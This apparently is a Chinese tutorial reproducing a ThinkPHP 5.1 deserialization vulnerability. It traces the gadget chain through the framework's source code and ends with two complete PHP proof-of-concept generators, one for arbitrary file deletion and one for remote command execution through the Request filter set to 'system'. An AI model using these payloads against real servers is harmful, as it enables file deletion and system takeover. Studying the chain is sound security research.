前言
在了解完tp的一些规则后,开始本篇反序列化漏洞的复现学习
安装
没有composer可以去下载,傻瓜式安装即可Composer (getcomposer.org)
使用composer安装
composer create-project topthink/think=5.1.* tp
启动服务
cd tp
php think run
然后就可以在浏览器中访问
http://localhost:8000
搭建成功
反序列化链分析
反序列化利用点肯定要是从__destruct()开始,所以本条链入口是/thinkphp/library/think/process/pipes/Windows.php的__destruct()
public function __destruct()
{
$this->close();
$this->removeFiles();
}
先跟进close()
方法,没发现可利用点,在跟进removeFiles()
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
这里的$this->files
可控,所以通过@unlink
存在任意文件删除
POC:
这里以删除我桌面的test.txt
为例(反序列化入口写在最后边)
<?php
namespace think\process\pipes;
class Pipes{
}
class Windows extends Pipes
{
private $files = [];
public function __construct()
{
$this->files=["C:\\Users\\del'l'\\Desktop\\test.txt"];
}
}
echo base64_encode(serialize(new Windows()));
接着看利用点当执行到file_exists($filename)
时,file_exists
函数会将$filename
当做字符串处理从而触发__toString
方法
经过寻找找到了\thinkphp\library\think\model\concern\Conversion.php
的__toString()
public function __toString()
{
return $this->toJson();
}
跟进__toJson()
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}
跟进__toArray()
前后都有一些执行不到的步骤,直接省略掉了
public function toArray()
{
$item = [];
$hasVisible = false;
........................
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name);
}
}
........................
这里的$this->append
可控,所以$key
和$name
也可控,最后会调用 $relation->visible($name);
所以如果$relation
可控的话就可以通过调用不可访问的方法触发__call()
先跟进一下getRelation()
查看$relation
是否可控
public function getRelation($name = null)
{
if (is_null($name)) {
return $this->relation;
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
return;
}
array_key_exists() 函数检查某个数组中是否存在指定的键名
,所以很容易绕过if/else判断,直接return 空,从而通过下一步的if (!$relation)
检测,执行getAttr()
方法,跟进一下getAttr()
public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}
.....................
return $value;
}
跟进getData()
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}
可以回头看一下$name
值,$relation = $this->getAttr($key);
调用getAttr()
时将$this->append
的key传给形参$name
,之后再调用$getData($name)
,将刚才的$name
传入,所以这里的$name
也就是$this->append
的key,而这里的第一个elseif处的$this-$data
又可控,所以最终的$relation
相当于$relation=$this->data[$key]
,至此$relation
和$name
都可控,就可以通过 $relation->visible($name);
触发__call()
了
但再次之前需要注意一个点__toString()是Conversion的,getAttr()
等是Attribute
的,无法同时进行,所以我们需要一个类满足同时继承Attribute类和Conversion类。
在\thinkphp\library\think\Model.php
找到了Model类满足上述的要求
abstract class Model implements \JsonSerializable, \ArrayAccess
{
use model\concern\Attribute;
use model\concern\RelationShip;
use model\concern\ModelEvent;
use model\concern\TimeStamp;
use model\concern\Conversion;
但又有了一个问题他是一个抽象类()abstract
)无法进行实例化,所以就需要找一个他的非抽象子类,找到了\thinkphp\library\think\model\Pivot.php
问题解决后就需要找适合的__call()
了,而且__call一般会存在__call_user_func
和__call_user_func_array
,php代码执行的终点经常选择这里。
找到了\thinkphp\library\think\Request.php
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}
throw new Exception('method not exists:' . static::class . '->' . $method);
}
但是不能直接利用call_user_func_array
执行system,这里$method
是visible,$args
是之前的$name
可控,但是有这行代码:array_unshift($args, $this);
。把$this
插到了$args
的最前面,使得system的第一个参数不可控,没法直接system。因此想办法回调thinkphp中的方法,而且经过一系列构造,最终命令执行中的参数和这里的$args无关。
在Thinkphp的Request类中还有一个filter功能,事实上Thinkphp多个RCE都与这个功能有关。我们可以尝试覆盖filter的方法去执行代码。
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
......................
这里有个call_user_func($filter, $value);
但参数不可控仍然无法命令执行,但可以通过本类中的input()
方法来控制参数
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
}
$data = $this->getData($data, $name);
if (is_null($data)) {
return $default;
}
if (is_object($data)) {
return $data;
}
}
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}
if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}
return $data;
}
可以看到这三行代码,通过getFilter()
方法控制$filter,通过array_walk_recursive()
回溯调用刚刚的filterValue
()方法
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
先跟进一下getFilter()
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}
$filter[] = $default;
return $filter;
}
$filter = $filter ?: $this->filter;
很明显filter
可控了,再看另一个参数$data
,如果$data
可控,而且$name
为空字符串的话,input
函数中前面的那些代码if条件就不成立,不构成影响。
在找何处调用input时,发现了param()
函数
public function param($name = '', $default = null, $filter = '')
{
if (!$this->mergeParam) {
$method = $this->method(true);
// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}
// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true;
}
if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;
return $this->input($data, '', $default, $filter);
}
return $this->input($this->param, $name, $default, $filter);
}
可以看到最后一行调用input,并且第一个参数的值$this->param
可控,控制点在上方
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->param
是由本来的$this->param
,还有请求参数和URL地址中的参数合并。
但考虑到调用的函数是array_walk_recursive
,数组中的每个成员都被回调函数调用,因此其实直接构造$this->param也是可以的,但是考虑到可以动态命令执行,因此就不构造$this->param了,而是把要执行的命令写在get参数里即第二个参数($this->get(false))。
最后就剩下最后一个问题了,就是何处调用了param()
,并且调用时$name
为空,经过寻找找到了isAjax()
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;
if (true === $ajax) {
return $result;
}
$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;
}
在这里进行了调用
$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->config['var_ajax']
是配置文件中的值,只需要让他为空,那么他在调用$this->param
时,默认的第一个参数$name
就为空,之后再调用input时传入的$name就为空,从而绕过了input函数中的if判断,至此整条链就结束了,简单的回顾下。
__call()
方法调用return call_user_func_array($this->hook[$method], $args);
,让$this->hook[$method]
的值为isAjax
就调用了isAjax
()函数,函数中$this->param($this->config[‘var_ajax’]) ? true : $result;调用了param()
函数,param()
的最后一行调用了input()
方法,input()
中调用array_walk_recursive
回调调用filterValue()
函数,该函数中$value = call_user_func($filter, $value);
进行了命令执行,并通过最后的return返回
public/index.php加上如下两句作为入口
POC:
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["Sentiment"=>["hello"]];
$this->data = ["Sentiment"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
传参命令执行
参考文章: